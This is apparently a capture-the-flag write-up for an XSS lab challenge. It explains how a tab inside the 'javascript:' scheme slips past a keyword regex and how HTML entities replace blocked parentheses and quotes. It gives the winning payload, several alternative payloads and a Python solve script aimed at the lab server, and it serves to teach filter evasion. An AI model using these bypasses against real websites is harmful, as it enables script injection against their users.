Medium 5 - JavaScript URL Scheme Bypass
Medium 5 - JavaScript URL Scheme Bypass
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: html_entity_encoding, regex_evasion, whitespace_scheme_bypass
Summary
Walkthrough of the CUSTOM Web Medium 5 - JavaScript URL Scheme Bypass. Task: XSS challenge where javascript keyword is filtered with regex and parentheses are blocked. Solution: Use whitespace (tab) in URL scheme to bypass regex filter and HTML entities to encode parenth
Description
XSS challenge from the SiBears XSS School series. Need to create a payload that executes prompt("sibears") in the bot's browser. The bot visits the page and clicks on <a> tags.
URL: http://109.233.56.90:11659/xss/medium/5
Analysis
Escape function:
javascript read-only • copy allowedfunction escape(s) { s = s.replace(/[<>"'\/()]/g, '_'); s = s.replace(/[a-z]+script/ig, 'python'); return '<a href="' + s + '">Click ME</a>'; }
Two levels of filtering:
-
Character filter:
< > " ' / ( )→_- Cannot escape from attribute (quotes are filtered)
- Cannot use
()for function calls - Cannot use
/for regex or comments
-
Keyword filter:
/[a-z]+script/ig→python- Catches
javascript,Javascript,JAVASCRIPT,vbscript, etc. - Requires at least one
[a-z]character beforescript
- Catches
Injection context:
- Payload is inserted into
href="..."attribute - Bot clicks the link →
javascript:URL executes
Solution
Bypass 1: Whitespace in URL scheme
Regex /[a-z]+script/ requires a continuous sequence of [a-z] before script. Inserting a whitespace character between java and script breaks the pattern:
java\tscript: → doesn't match [a-z]+script → not replaced with python
Browsers ignore whitespace (tab \t, CR \r, LF \n) in URL scheme names:
java\tscript:is interpreted asjavascript:java\rscript:also works
Bypass 2: HTML entities for () and "
Characters (, ), " are filtered, but HTML entities are not filtered:
&,#, digits,;— not in the list[<>"'\/()]
HTML decimal entities:
(→()→)"→"
The browser decodes HTML entities in attributes before executing the javascript: URL.
Winning Payload
java[TAB]script:prompt("sibears")
Where [TAB] = \t (0x09)
Processing flow:
-
Escape function:
java\tscript:prompt("sibears")- Character filter: nothing replaced (no
<>"'/()) - Keyword filter:
java\tdoesn't match[a-z]+→ not replaced
-
HTML output:
html read-only • copy allowed<a href="java script:prompt("sibears")">Click ME</a>
- Bot clicks:
- Browser parses
java[TAB]script:asjavascript:scheme - Decodes entities:
(→(,"→",)→) - Executes:
prompt("sibears")
- Browser parses
Alternative payloads
All these variants also work:
java\rscript:prompt("sibears") # CR instead of TAB
java\tscript:prompt("sibears") # Hex entities
java\tscript:prompt("sibears") # Named entities
Why backticks don't work
Initially tried tagged template literals:
java\tscript:prompt`sibears`
Backticks are not filtered, but tagged template literal passes an array, not a string:
promptsibears`` is equivalent toprompt(["sibears"])- Checker expects
prompt("sibears")with a string argument
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 import requests import time BASE = "http://109.233.56.90:11659" # Tab character breaks [a-z]+script regex # HTML entities bypass () and " filter payload = 'java\tscript:prompt("sibears")' r = requests.post(f"{BASE}/xss/medium/5/form", data={"code": payload}, allow_redirects=False) checker_url = BASE + r.headers.get('Location', '') print(f"Checker: {checker_url}") time.sleep(5) r2 = requests.get(checker_url) print(r2.text)
Key Takeaways / Lessons
- Mastering html_entity_encoding, regex_evasion, whitespace_scheme_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Medium 5 - JavaScript URL Scheme Bypass • Difficulty: Medium